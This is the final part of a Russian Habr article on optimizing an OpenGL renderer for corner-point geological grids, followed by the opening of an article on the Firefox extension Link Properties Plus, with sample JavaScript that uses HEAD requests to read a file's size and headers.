// УДАЛЕНО //glVertexArrayAttribBinding(\_vao, 2, 2);
// УДАЛЕНО //glVertexArrayAttribFormat(\_vao, 2, 2, GL\_FLOAT, GL\_FALSE, 0);
// УДАЛЕНО //glEnableVertexArrayAttrib(\_vao, 2);
// property
glVertexArrayVertexBuffer(\_vao, 2, \_property\_vbo, 0, sizeof (float));
glVertexArrayAttribBinding(\_vao, 2, 2);
glVertexArrayAttribFormat(\_vao, 2, 1, GL\_FLOAT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 2);
```
Затем модифицируем массивы с описанием значений текстурных координат — там, где был 0, запишем -1:
```
// Для того, чтобы рисовать сетку на границах ячеек,
// надо знать насколько близко расположен пиксель к границе.
// Тут перечислены текстурные координаты для каждой вершины грани,
// которые позволят получить расстояние до границы
// (если один из компонентов равен нулю, то это и есть граница).
static const std::array quad\_vertices\_texcoords = {
vec2( 1, -1),
vec2(-1, -1),
vec2(-1, 1),
vec2(-1, -1),
};
```
И умножим первые две компоненты индекса ячейки на текстурные координаты — так записывается знак:
```
// …
// записываем атрибуты вершины
a_position.insert(a_position.end(), {v.x, v.y, v.z});
// запишем текстурные координаты в знаки индексов ячейки.
a_index.insert(a_index.end(), { i * texcoords[0],
j * texcoords[1],
k });
// …
```
После этого в вершинном шейдере восстановим значения индексов, просто взяв модуль, а текстурные координаты восстановим с помощью функции sign():
```
// …
// если делаем пикинг индексов ячеек, вместо цвета передаем во фрагментный шейдер индексы ячейки
if (u_primitive_picking) {
vs_out.color = vec4(abs(a_ind.x), abs(a_ind.y), a_ind.z, 1);
return;
}
// передаем координаты ячейки (для вычисления нормали)
vs_out.model_pos = vec3(u_model * pos);
// передаем текстурные координаты в фрагментный шейдер
vs_out.texcoord = vec2(max(vec2(0), sign(a_ind.xy)));
```
Запускаем и замеряем потребление памяти и производительность:
| | | | |
| --- | --- | --- | --- |
| | Память под атрибуты | FPS в лучшем случае | FPS в худшем случае |
| До оптимизаций | 2 484,29 Мб | 54,3 | 17,7 |
| Без нормалей | 1 932,23 Мб | 60,8 | 18,4 |
| Без текстурных координат | 1 564,18 Мб | 65,8 | 19,0 |
*Таблица 2 Сравнение потребления памяти и производительности на видеокарте AMD RX580 8GB*
Как и в случае с нормалями, потребление памяти сократилось, а частота кадров немного увеличилась.
Можно дополнительно уменьшить размер атрибута индексов ячейки, если хранить их не во float, а в int16 – сетки с числом ячеек более 32767 по одной из размерностей нам не встречались, не говоря уж о том, что такой огромный размер сетки не переварит ни одна рабочая станция.
Меняем тип данных индекса на int16 (придется сдвинуть индексы на 1, чтобы не потерять знак в нуле):
```
// …
// УДАЛЕНО // std::vector a\_position, a\_index, a\_property;
std::vector a\_position, a\_property;
std::vector a\_index;
// …
// записываем атрибуты вершины
a\_position.insert(a\_position.end(), {v.x, v.y, v.z});
// запишем текстурные координаты в знаки индексов ячейки.
// прибавим 1 к индексу, чтобы знак не потерялся в нуле
a\_index.insert(a\_index.end(), {static\_cast((i+1) \* texcoords[0]),
static\_cast((j+1) \* texcoords[1]),
static\_cast(k) });
// …
// загружаем атрибуты в VBO
glNamedBufferStorage(\_position\_vbo, a\_position.size() \* sizeof (float), a\_position.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_cell\_index\_vbo, a\_index.size() \* sizeof (int16\_t), a\_index.data(), gl::GL\_NONE\_BIT);
glNamedBufferStorage(\_property\_vbo, a\_property.size() \* sizeof (float), a\_property.data(), gl::GL\_NONE\_BIT);
// …
// назначаем все атрибуты в VAO
// position
glVertexArrayVertexBuffer(\_vao, 0, \_position\_vbo, 0, sizeof (float) \* 3);
glVertexArrayAttribBinding(\_vao, 0, 0);
glVertexArrayAttribFormat(\_vao, 0, 3, GL\_FLOAT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 0);
// cell index
glVertexArrayVertexBuffer(\_vao, 1, \_cell\_index\_vbo, 0, sizeof (int16\_t) \* 3);
glVertexArrayAttribBinding(\_vao, 1, 1);
glVertexArrayAttribFormat(\_vao, 1, 3, GL\_SHORT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 1);
```
Запускаем, и…
Видим, что рендерер невероятно лагает — более 200 мс на кадр. Как же так?
Все дело в выравнивании атрибутов в памяти. Большинство видеокарт требуют, чтобы атрибут очередной вершины был выравнен по 32 битам. Очевидно, что наш атрибут с тремя компонентами из int16 выровнен всего лишь по 16 битам, что и приводит к неадекватной производительности. Решить проблему просто — добавим ещё одну компоненту для выравнивания:
```
// …
std::vector a\_position, a\_property;
std::vector a\_index;
// для каждой вершины 3 координаты (x, y и z)
a\_position.reserve(3 \* vertex\_count);
// + три индекса (с выравниванием)
a\_index.reserve(4 \* vertex\_count);
// …
// записываем атрибуты вершины
a\_position.insert(a\_position.end(), {v.x, v.y, v.z});
// запишем текстурные координаты в знаки индексов ячейки.
// прибавим 1 к индексу, чтобы знак не потерялся в нуле
a\_index.insert(a\_index.end(), {static\_cast((i+1) \* texcoords[0]),
static\_cast((j+1) \* texcoords[1]),
static\_cast(k),
0});
// …
// назначаем все атрибуты в VAO
// position
glVertexArrayVertexBuffer(\_vao, 0, \_position\_vbo, 0, sizeof (float) \* 3);
glVertexArrayAttribBinding(\_vao, 0, 0);
glVertexArrayAttribFormat(\_vao, 0, 3, GL\_FLOAT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 0);
// cell index
glVertexArrayVertexBuffer(\_vao, 1, \_cell\_index\_vbo, 0, sizeof (int16\_t) \* 4);
glVertexArrayAttribBinding(\_vao, 1, 1);
glVertexArrayAttribFormat(\_vao, 1, 4, GL\_SHORT, GL\_FALSE, 0);
glEnableVertexArrayAttrib(\_vao, 1);
//…
// вершинный шейдер:
#version 440
// позиция
layout(location=0) in vec3 a\_pos;
// индекс ячейки
layout(location=1) in ivec4 a\_ind;
//…
```
Этот фикс вернул производительность к ожидаемой:
| | | | |
| --- | --- | --- | --- |
| | Память под атрибуты | FPS в лучшем случае | FPS в худшем случае |
| До оптимизаций | 2 484,29 Мб | 54,3 | 17,7 |
| Без нормалей | 1 932,23 Мб | 60,8 | 18,4 |
| Без текстурных координат | 1 564,18 Мб | 65,8 | 19,0 |
| 16-битные индексы | 1 380,16 Мб | 70,4 | 19,3 |
*Таблица 3 Сравнение потребления памяти и производительности на видеокарте AMD RX580 8GB*
Объём потребляемой памяти ещё немного сократился, а производительность немного увеличилась.
На этом этапе мы сделали все очевидные оптимизации атрибутов, и их итоговый список выглядит так:
1. координаты вершины (3\*4 байт);
2. индексы ячейки \* текстурные координаты (4\*2 байт);
3. значение свойства в ячейке (4 байта).
Теперь каждая вершина занимает в памяти не 48 байт, а 24 байта – в два раза меньше! Общий объём потребляемой видеопамяти сократился в 1,8 раза.
**Оптимизируем производительность в худшем случае**
В таблицах сверху мы уже видели колонку «FPS в худшем случае». Что же это за случай, и почему всё так плохо?
На самом деле, чтобы увидеть этот «худший случай», достаточно всего лишь развернуть камеру и посмотреть на сетку с обратной стороны. Частота кадров сразу падает в 3 раза, что очень сильно раздражает пользователя.
Причина такого значительного падения производительности кроется в порядке растеризации. Видеокарты обязаны растеризовать треугольники последовательно (или так, что результат эквивалентен последовательному) — это важно для корректности блендинга. К тому же, число треугольников в сетке настолько велико, что параллельно их все растеризовать всё равно невозможно.
Однако порядок растеризации влияет не только на блендинг, но и быстродействие при рендеринге с включённым тестом глубины. Представим следующую ситуацию:
Рисунок 2. Перекрывающиеся треугольникиРендерим несколько треугольников, которые с точки зрения камеры перекрывают друг друга.
Если с точки зрения камеры треугольники рендерятся в порядке от дальнего к ближнему, то каждый треугольник пройдёт тест глубины, и все его пиксели запишутся в фреймбуфер. Если же треугольники рендерятся в обратном порядке — от ближнего к дальнему с точки зрения камеры, то первый треугольник перекроет остальные в буфере глубины, а остальные треугольники не пройдут тест глубины и не будут записывать свои пиксели в фреймбуфер. Кроме того, на всех современных видеокартах реализована оптимизация Early Z Rejection, благодаря которой фрагментный шейдер даже не запускается для фрагментов, не прошедших тест глубины.
Вернёмся к нашему рендереру и вспомним, в каком порядке мы генерируем вершины:
```
// …
// для каждой рассматриваемой ячейки
for (uint32_t i = 0; i < _property.ni; ++i) {
for (uint32_t j = 0; j < _property.nj; ++j) {
for (uint32_t k = 0; k < _property.nk; ++k) {
// если ячейка может отрисовываться (они фильтруются по маске)
if (_mask.at(i, j, k)){
// …
```
Видно, что мы просто генерируем вершины ячеек в порядке их хранения в трёхмерном массиве.
Это объясняет, почему с одной стороны сетки частота кадров высокая, а с другой — низкая. Во втором случае мы просто смотрим на сетку с той стороны, в какую растут индексы ячеек — из-за этого каждая следующая грань находится ближе к камере, чем предыдущая, и всегда проходит тест глубины.
Решение этой проблемы тривиально — нужно всего лишь генерировать ячейки так, чтобы с любой возможной точки зрения камеры грани ячеек располагались в порядке от ближней к дальней. А для этого просто представим нашу сетку как луковицу — сначала сгенерируем все грани самого внешнего слоя, затем сгенерируем все грани следующего слоя и так далее, до самого центра луковицы.
Чтобы было проще закодить этот алгоритм, вынесем часть кода, отвечающую за генерацию граней одной ячейки, в лямбду:
```
// …
// + значение свойства ячейки
a_property.reserve(vertex_count);
auto calc_cell = [this, &a_position, &a_index, &a_property](size_t i, size_t j, size_t k)
{
// буфер, куда записываются вершины ячейки
std::array cell\_vertices;
// если ячейка может отрисовываться (они фильтруются по маске)
if (\_mask.at(i, j, k)){
// рассчитаем 8 вершин, соответствующих ячейке
get\_cell\_vertices(\_coord, \_zcorn, i, j, k, cell\_vertices);
// …
};
```
Затем напишем такой, страшный на вид, цикл:
```
size_t min_dim = std::min({_property.ni, _property.nj, _property.nk});
size_t max_layers = min_dim / 2 + 1;
size_t oi = 0, oj = 0, ok = 0;
size_t ni = _property.ni, nj = _property.nj, nk = _property.nk;
for (size_t layer = 0; layer < max_layers; ++layer) {
for (size_t k : {ok, nk-1}) {
for (size_t i = oi; i < ni; ++i) {
for (size_t j = oj; j < nj; ++j) {
calc_cell(i, j, k);
}
}
if (ok >= nk-1) break;
}
for (size_t j : {oj, nj-1}) {
for (size_t i = oi; i < ni; ++i) {
for (size_t k = ok+1; k < nk - 1; ++k) {
calc_cell(i,j,k);
}
}
if (oj >= nj - 1) break;
}
for (size_t i : {oi, ni-1}) {
for (size_t j = oj+1; j < nj-1; ++j) {
for (size_t k = ok+1; k < nk-1; ++k) {
calc_cell(i, j ,k);
}
}
if (oi >= ni - 1) break;
}
++oi; ++oj; ++ok;
--ni; --nj; --nk;
}
```
Наверняка есть много способов написать алгоритм, который обходит трёхмерный массив в луковичном порядке — здесь приведен самый простой, который придуман за 5 минут. Производительность этих циклов не имеет большого значения, т. к. каждая итерация (генерация граней) намного дороже, чем сами циклы.
Запускаем рендерер и видим, что частота кадров всегда высокая и практически не меняется, независимо от того, с какой стороны мы смотрим на сетку. Худший случай теперь работает в три раза быстрее, чем до оптимизации!
| | | | |
| --- | --- | --- | --- |
| | Память под атрибуты | FPS в лучшем случае | FPS в худшем случае |
| До оптимизаций | 2 484,29 Мб | 54,3 | 17,7 |
| Без нормалей | 1 932,23 Мб | 60,8 | 18,4 |
| Без текстурных координат | 1 564,18 Мб | 65,8 | 19,0 |
| 16-битные индексы | 1 380,16 Мб | 70,4 | 19,3 |
| Луковичный порядок | 1 380,16 Мб | 67,4 | 64,9 |
*Таблица 4. Сравнение потребления памяти и производительности на видеокарте AMD RX580 8GB*
**Уменьшаем пиковое потребление оперативной памяти**
В первой части мы обратили внимание на то, что вершины генерируются в промежуточные буферы в оперативной памяти и лишь затем передаются в буферы OpenGL. Это значит, что в худшем случае выделяется двойной объём памяти — одна копия в наших массивах, а вторая копия может выделяться драйвером перед передачей в видеопамять.
Для решения этой проблемы ещё в OpenGL 1.5 была добавлена возможность сделать память буфера видимой в адресном пространстве процесса с помощью функции [glMapBuffer()](https://www.khronos.org/registry/OpenGL-Refpages/gl4/html/glMapBuffer.xhtml). Эта функция возвращает указатель, по которому можно писать или читать данные буфера «напрямую». В случае современных интегрированных видеокарт, это мало чем отличается от работы с обычной оперативной памятью (однако, для старших поколений интегрированных видеокарт это не всегда так). Для дискретных видеокарт механизм работы с такой памятью обычно зависит от специфики конкретной модели видеокарты и версии драйвера и не документирован.
Избавляемся от промежуточных массивов и сохраняем атрибуты вершин по указателям, полученным через glMapBuffer():
```
void CornerPointGrid::_gen_vertices_and_indices(size_t quad_count) {
const size_t vertex_count = quad_count * 4;
// загружаем атрибуты в VBO
glNamedBufferStorage(_position_vbo, 3 * vertex_count * sizeof (float), nullptr, gl::GL_MAP_WRITE_BIT);
glNamedBufferStorage(_cell_index_vbo, 4 * vertex_count * sizeof (int16_t), nullptr, gl::GL_MAP_WRITE_BIT);
glNamedBufferStorage(_property_vbo, vertex_count * sizeof (float), nullptr, gl::GL_MAP_WRITE_BIT);
auto a_position = reinterpret_cast(glMapNamedBuffer(\_position\_vbo, gl::GL\_WRITE\_ONLY));
auto a\_index = reinterpret\_cast(glMapNamedBuffer(\_cell\_index\_vbo, gl::GL\_WRITE\_ONLY));
auto a\_property = reinterpret\_cast(glMapNamedBuffer(\_property\_vbo, gl::GL\_WRITE\_ONLY));
// …
// для каждой вершины в полигоне
for (int vii = 0; vii < 4; ++vii){
// координаты очередной вершины
const vec3& v = cell\_vertices[quad[vii]];
ivec2 texcoords = quad\_vertices\_texcoords[vii];
// записываем атрибуты вершины
a\_position[0] = v.x;
a\_position[1] = v.y;
a\_position[2] = v.z;
a\_position += 3;
// запишем текстурные координаты в знаки индексов ячейки.
// прибавим 1 к индексу, чтобы знак не потерялся в нуле
a\_index[0] = static\_cast((i+1) \* texcoords[0]);
a\_index[1] = static\_cast((j+1) \* texcoords[1]);
a\_index[2] = static\_cast(k);
a\_index[3] = 0;
a\_index += 4;
a\_property[0] = \_property.at(i, j, k);
a\_property += 1;
}
```
То же самое делаем и с индексами:
```
// …
// создадим массив индексов - на каждую грань два треугольника
size_t indices_count = quad_count * 6;
glNamedBufferStorage(_indexbuffer, indices_count * sizeof (uint32_t), nullptr, gl::GL_MAP_WRITE_BIT);
auto indices = reinterpret_cast(glMapNamedBuffer(\_indexbuffer, gl::GL\_WRITE\_ONLY));
for (size\_t i = 0; i < quad\_count; ++i)
for (uint32\_t j = 0; j < 6; ++j)
// индекс очередной вершины при составлении треугольников
\*indices++ = static\_cast(i \* 4 + quad\_to\_triangles[j]);
glUnmapNamedBuffer(\_indexbuffer);
glUnmapNamedBuffer(\_position\_vbo);
glUnmapNamedBuffer(\_cell\_index\_vbo);
glUnmapNamedBuffer(\_property\_vbo);
// …
```
Убедившись, что всё работает как надо, проверим пиковое потребление оперативной памяти:
| | | | |
| --- | --- | --- | --- |
| | Память под атрибуты | Память процесса | Память процесса (пиковая) |
| До оптимизаций | 2 484,29 Мб | 3 258,55 Мб | 5 844,64 Мб |
| Без нормалей | 1 932,23 Мб | 2 704,95 Мб | 4 738,06 Мб |
| Без текстурных координат | 1 564,18 Мб | 2 336,84 Мб | 4 000,90 Мб |
| 16-битные индексы | 1 380,16 Мб | 2 151,87 Мб | 3 631,87 Мб |
| glMapBuffer | 1 380,16 Мб | 2 152,14 Мб | 2 618,31 Мб |
*Таблица 5. Сравнение потребления памяти на видеокарте AMD RX580 8GB*
Видим, что пиковое потребление памяти процессом значительно уменьшилось, что позволяет быстро загружать б*о*льшие сетки на одной и той же машине.
**Неожиданная проблема**
На этом мы планировали поставить точку, однако при тестировании на нескольких видеокартах Nvidia разных моделей и поколений (GTX 1050Ti, RTX 2070) обнаружилась весьма необычная проблема — производительность катастрофически упала до 400+ мс на кадр. С помощью git bisect мы определили, что проблема возникла именно после последней оптимизации с glMapBuffer(). Странным было и то, что на продакшн-версии движка эта проблема не воспроизводилась, как и на видеокартах AMD и Intel.
В отладочном выводе ([GL\_KHR\_debug](https://www.khronos.org/registry/OpenGL/extensions/KHR/KHR_debug.txt)) были сразу замечены такие строки:
```
Buffer detailed info: Buffer object 1 (bound to NONE, usage hint is GL_DYNAMIC_DRAW) will use SYSTEM HEAP memory as the source for buffer object operations.
Buffer detailed info: Buffer object 1 (bound to NONE, usage hint is GL_DYNAMIC_DRAW) has been mapped WRITE_ONLY in SYSTEM HEAP memory (fast).
…
```
Судя по логу, драйвер решил, что раз буфер создан с флагом GL\_DYNAMIC\_DRAW, то не нужно выделять под него видеопамять, ведь он всё равно будет очень часто перезаписываться. Вместо этого под буфер выделена обычная оперативная память, что и объясняет настолько низкую производительность.
Проблема в том, что мы нигде не указывали GL\_DYNAMIC\_DRAW – у нас даже нет такой возможности, ведь мы использовали [glBufferStorage()](https://www.khronos.org/registry/OpenGL-Refpages/gl4/html/glBufferStorage.xhtml), у которого такого флага нет.
Для эксперимента мы переделали выделение памяти в буфере на устаревший [glBufferData(…, GL\_STATIC\_DRAW)](https://www.khronos.org/registry/OpenGL-Refpages/gl4/html/glBufferData.xhtml), после чего проблема с производительностью исчезла, а в логе появились такие сообщения:
```
Buffer detailed info: Buffer object 1 (bound to NONE, usage hint is GL_STATIC_DRAW) will use VIDEO memory as the source for buffer object operations.
Buffer detailed info: Buffer object 1 (bound to NONE, usage hint is GL_STATIC_DRAW) has been mapped in HOST memory
…
```
Насколько мы можем судить, подсказки использования буферов драйвер Nvidia воспринимает слишком буквально – в нашем случае GL\_DYNAMIC\_DRAW оказался неудачным значением по умолчанию. Не стоит сильно их винить, поскольку это в большей степени недоработка спецификации [GL\_ARB\_buffer\_storage](https://www.khronos.org/registry/OpenGL/extensions/ARB/ARB_buffer_storage.txt), не предвидевшей возможные проблемы из-за сохранения обратной совместимости со старым способом выделения памяти.
### Бенчмарк
Сравним производительность рендерера до и после оптимизации на нескольких моделях видеокарт:
| | | |
| --- | --- | --- |
| Видеокарта | FPS в лучшем случае (до – после, улучшение в %) | FPS в худшем случае (до – после, улучшение в %) |
| AMD RX580 | 54,3 – 67,4 (+24%) | 17,7 – 64,9 (+366%) |
| Nvidia GTX 1050Ti | 29.9 – 40,2 (+34%) | 20.9 – 39,5 (+88%) |
| Nvidia RTX 2070 | 116 – 150 (+29%) | 36,3 – 149 (+410%) |
| Intel UHD 630 | 6 – 12 (+100%) | 5 – 12 (+140%) |
*Таблица 6. Сравнение производительности до и после оптимизаций*
На протестированных видеокартах прирост производительности составил около 30% для хорошего случая, а для худшего случая – от 80% до 410%! Отдельно можно выделить ту самую встроенную видеокарту, речь о которой шла в заголовке. Всё равно не блеск, конечно, но дышать стало полегче. И никто не собирается останавливаться на достигнутом!
### Заключение
В этой статье мы рассмотрели несколько оптимизаций рендерера угловой геометрии, которые снизили объём потребляемой видеопамяти почти в два раза и увеличили частоту кадров в три с лишним раза. Теперь наш рендерер сможет отобразить сетки б*о*льшего размера на маломощных офисных машинах и сетки размером порядка миллиарда ячеек на рабочих станциях.
Конечно, это не все возможные оптимизации — например, можно ещё уменьшить размер атрибутов, наложив некоторые ограничения на входные данные. Можно улучшить алгоритм отсечения невидимых граней, о котором упоминалось в первой части статьи; можно уменьшить число уникальных вершин при генерации граней одной ячейки; можно генерировать вершины не разом, а чанками... Для примера, продакшн-версия движка, где мы реализовали подобные оптимизации, потребляет ещё в полтора раза меньше памяти, а по сравнению с изначальной реализацией — почти в четыре раза меньше памяти!
На этом мы заканчиваем цикл статей о рендеринге угловой геометрии. Надеемся, что обе части оказались интересными и полезными. В комментариях ждем ваших вопросов; будем рады обсудить описанные и новые способы оптимизации рендерера! | https://habr.com/ru/post/559508/ | null | ru | null |
# Firefox: размер файла по ссылке, или через тернии к форку
Вашему вниманию представляется небольшая история появления расширения [Link Properties Plus](https://addons.mozilla.org/addon/link-properties-plus/) и описание того, как работает его основная часть.
Расширение позволяет узнать размер, дату последнего изменения и некоторые другие свойства файла по ссылке (в том числе прямую ссылку после всех перенаправлений) без скачивания всего файла целиком. Если, конечно, все это сообщает сервер.
Как это было
============
Когда-то давно было расширение [Extended Link Properties](https://addons.mozilla.org/addon/extended-link-properties/), и оно работало.
Потом была обновленная версия на уже закрывшемся [forum.addonsmirror.net](http://forum.addonsmirror.net/index.php?showtopic=6594) ([копия на web.archive.org](http://web.archive.org/web/20110811234800/http://forum.addonsmirror.net/index.php?showtopic=6594)).
1.3.x
-----
Но в [июне 2009-го](https://forum.mozilla-russia.org/viewtopic.php?pid=333576#p333576) мне захотелось странного. Так уж получается, что, хорошо это (с точки зрения результата) или плохо (лучше бы я выспался), а мне иногда хочется странного.
В результате расширение научилось работать с окном выбора действия с файлом. Ну, и мелкие улучшения в качестве бонуса.
К сожалению, не обошлось и без сложностей: встроенный загрузчик файлов начинает скачивать файл, не дожидаясь, пока пользователь выберет, что следует делать с этим файлом. Это, конечно, отдельная «проблема» (к счастью, лишний трафик уже не столь критичен), но она порождала куда более серьезную: пока шло скачивание файла, нельзя было сделать запрос по той же самой ссылке – то есть запрос-то, вроде бы, посылался, но ответ приходит уже после скачивания. А без запроса, разумеется, ничего не узнать – только удаленному серверу известно, что за файл у него хранится.
Так появилась идея добавить к ссылке «?*случайные\_цифры*». Да, есть вероятность, что сервер на измененный запрос вернет другую информацию, но это все равно куда лучше, чем ничего.
Хак, к слову, в новых версиях оказался уже не нужен, хотя у одного пользователя [то ли падал, то ли зависал Thunderbird](https://addons.mozilla.org/addon/link-properties-plus/reviews/user:6909804) при попытке открытия PDF-файлов из вложений – помогло включение скрытой настройки для принудительного включения хака.
А вот выкладывать на [AMO](https://addons.mozilla.org/) было как-то лень – и хак для окна загрузок тот еще, и было интереснее продолжить улучшения. К тому же, надо было менять [идентификатор](https://developer.mozilla.org/en-US/docs/Install_Manifests#id) расширения и как-то оповещать пользователей, уже установивших версию с оригинальным идентификатором.
Потом в Firefox 3.7a1pre удалили из контекстного меню пункт «Свойства», и оригинальное расширение перестало работать, теперь уже навсегда. Пришлось [добавлять](https://forum.mozilla-russia.org/viewtopic.php?pid=376740#p376740) поддержку [Element Properties](https://addons.mozilla.org/addon/element-properties/), расширения-заменителя.
1.4.x
-----
Как бы там ни было, в [мае 2010-го](https://forum.mozilla-russia.org/viewtopic.php?pid=425319#p425319) появилась новая версия, пока еще тестовая. Уже со своим окошком и не зависящая от удаленного диалога свойств. Ну, и без разных полезных косметических мелочей не обошлось.
Тогда же был обнаружен недофорк: [Extended Link Properties +](https://addons.mozilla.org/addon/extended-link-propertie-124503/), код которого полностью соответствовал моей версии 1.3.5 – изменения были, но коснулись они только локализации.
Я, конечно, обиделся – меня-то не спросили (и не пытались уговорить выложить на AMO), но тратить время и нервы на разборки категорически не хотелось. :) У меня была недоделанная новая версия с кучей недотестированных изменений – куда интереснее (и полезнее – да, это своеобразный эгоизм) было заниматься ей. Так что вместо разборок появилась поддержка FTP-ссылок.
Тем временем исправили [Bug 455913 — nsIHelperAppLauncher should provide info about content length](https://bugzilla.mozilla.org/show_bug.cgi?id=455913), так что размер в диалоге загрузки стало возможно узнать сразу же.
1.5.x
-----
Это было неторопливо и с перерывами на несколько месяцев: 1.4.1pre1 в апреле 2011-го, релиз – спустя почти два года, в январе 2013-го.
Зато был сделан полноценный форк с новым идентификатором, добавлена поддержка новых версий Firefox с рыжей кнопкой вместо по умолчанию скрытого меню и возможность задавать вручную произвольный [HTTP referer](https://ru.wikipedia.org/wiki/HTTP_referer), открытие и сохранение ссылок прямо из окошка со свойствами. А еще поддержка Thunderbird, обработка практически всех протоколов и отображение прямой ссылки на файл. И даже когда-то давно обещанное автоматическое закрытие окошка.
Это была, так сказать, историческая справка.
А теперь сделаем простейшую реализацию получения свойств файла по ссылке.
Для неторопливых [в самом конце](#result) приведена ссылка на полученный код.
Как это сейчас, реализация
==========================
Для начала наиболее простой способ тестирования кода.
Надо включить *devtools.chrome.enabled* = true в about:config и запустить
Веб-разработка – Простой редактор JavaScript aka Scratchpad (Shift+F4)
Далее выбрать
Окружение – Браузер
Все, можно тестировать код, который будет запускаться с правами как у расширений (так что не следует запускать что попало).
Минимальный вариант для получения свойств ссылки
------------------------------------------------
Для отправки произвольных запросов существует [nsIChannel](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIChannel), там же можно прочитать, что нам нужен или [nsIIOService.newChannel()](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIIOService#newChannel%28%29), или [nsIIOService.newChannelFromURI()](http://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIIOService#newChannelFromURI%28%29).
А у нас есть текстовая ссылка. То есть логично использовать newChannel(), да только вот практика показывает, что URI все же понадобится – можно наткнуться на самописный протокол ([Custom Buttons](https://addons.mozilla.org/addon/custom-buttons/)), который ничего не возвращает, а можно на протокол about: ([nsIAboutModule](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIAboutModule)) – в общем-то, развлекательство, но и про такие ссылки можно кое-что узнать, так что почему бы и нет.
Таки образом, детали еще не ясны, но понятно, что надо создать экземпляр nsIChannel и вызвать у него [asyncOpen()](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIChannel#asyncOpen%28%29). А этот asyncOpen() принимает первым аргументом реализацию [nsIStreamListener](http://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIStreamListener)'а, которая и позволит узнать результат отправленного запроса.
Пожалуй, пора показывать пример:
```
// Некие исходные данные для примера:
var uriString = "https://addons.mozilla.org/firefox/downloads/latest/413716/addon-413716-latest.xpi";
var referer = "https://addons.mozilla.org/";
var ios = Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var uri = ios.newURI(uriString, null, null);
var scheme = uri.scheme && uri.scheme.toLowerCase();
var channel = scheme == "about" && "nsIAboutModule" in Components.interfaces
// Небольшое колдунство для about: ссылок
? Components.classes["@mozilla.org/network/protocol/about;1?what=" + uri.path.replace(/[?&#].*$/, "")]
.getService(Components.interfaces.nsIAboutModule)
.newChannel(uri)
: ios.newChannelFromURI(uri);
```
Теперь у нас есть экземпляр nsIChannel, и с этим надо что-то делать. :)
Во-первых, следует реализовать nsIStreamListener. А во-вторых, пригодится [nsIHttpChannel.visitRequestHeaders()](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIHttpChannel#visitRequestHeaders%28%29)/[nsIHttpChannel.visitResponseHeaders()](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIHttpChannel#visitResponseHeaders%28%29) (на случай если получившийся nsIChannel еще и [nsI*Http*Channel](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIHttpChannel)). Ну, а у [nsI*FTP*Channel](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIFTPChannel) есть свойство [lastModifiedTime](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIFTPChannel#Attributes).
Так что получаем вот такое продолжение:
```
var observer = { ... }; // Тут надо реализовать интерфейс nsIStreamListener и nsIHttpHeaderVisitor
var data = []; // Для примера будем просто собирать результаты в массив
var headers = []; // Еще один массив, для заголовков
if(channel instanceof Components.interfaces.nsIHttpChannel) {
// Проверка на instanceof неявно делает
// channel.QueryInterface(Components.interfaces.nsIHttpChannel),
// но не генерирует ошибок в случае отсутствия поддержки запрашиваемого интерфейса
channel.requestMethod = "HEAD"; // HEAD-запрос
channel.setRequestHeader("Referer", referer, false);
channel.visitRequestHeaders(observer);
headers.push(""); // Отделим заголовки запроса от заголовков ответа
}
// Следующая строка выглядит странно, но nsIFTPChannel нам еще пригодится
channel instanceof Components.interfaces.nsIFTPChannel;
channel.asyncOpen(observer, null);
```
Вообще, конечно, размножать глобальные переменные без необходимости нехорошо, но так нагляднее. А если возникают какие-то сложности с нарезкой примеров на модули и прочей инкапсуляцией, у меня для вас плохие новости. :)
Теперь попробуем сделать объект observer, реализующий необходимые интерфейсы:
```
var observer = {
// nsIRequestObserver (nsIStreamListener наследует этот интерфейс)
onStartRequest: function(aRequest, aContext) {
if(aRequest instanceof Components.interfaces.nsIHttpChannel)
aRequest.visitResponseHeaders(this);
else {
if("contentType" in channel)
data.push("Тип содержимого: " + channel.contentType);
if("contentLength" in channel)
data.push("Размер файла: " + channel.contentLength);
if("responseStatus" in channel && "responseStatusText" in channel)
data.push("Статус: " + channel.responseStatus + " " + channel.responseStatusText);
if("lastModifiedTime" in aRequest && aRequest.lastModifiedTime) { // Firefox 4
var t = aRequest.lastModifiedTime;
data.push("Последнее изменение: " + new Date(t > 1e14 ? t/1000 : t).toLocaleString());
}
}
},
onStopRequest: function(aRequest, aContext, aStatusCode) {
if(aRequest instanceof Components.interfaces.nsIChannel && aRequest.URI)
data.push("Прямая ссылка: " + aRequest.URI.spec);
this.done();
},
// nsIStreamListener
onDataAvailable: function(aRequest, aContext, aInputStream, aOffset, aCount) {
// Кажется, что-то пошло не так, не нужно нам данные получать, отменяем
aRequest.cancel(Components.results.NS_BINDING_ABORTED);
},
// nsIHttpHeaderVisitor
visitHeader: function(aHeader, aValue) {
headers.push(aHeader + ": " + aValue);
switch(aHeader) {
// Тут можно как-то красиво форматировать данные
case "Content-Length": data.push("Размер файла: " + aValue); break;
case "Content-Type": data.push("Тип содержимого: " + aValue); break;
case "Last-Modified": data.push("Последнее изменение: " + new Date(aValue).toLocaleString());
}
},
done: function() {
alert(
data.join("\n")
+ "\n\nЗаголовки:\n" + headers.join("\n")
);
}
};
```
В результате получим сообщение:
```
Тип содержимого: application/x-xpinstall
Последнее изменение: 26 Февраль 2013 г. 0:46:30
Размер файла: 46897
Прямая ссылка: https://addons.cdn.mozilla.net/storage/public-staging/413716/link_properties_plus-1.5.1-fx+sm+tb.xpi
Заголовки:
Host: addons.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
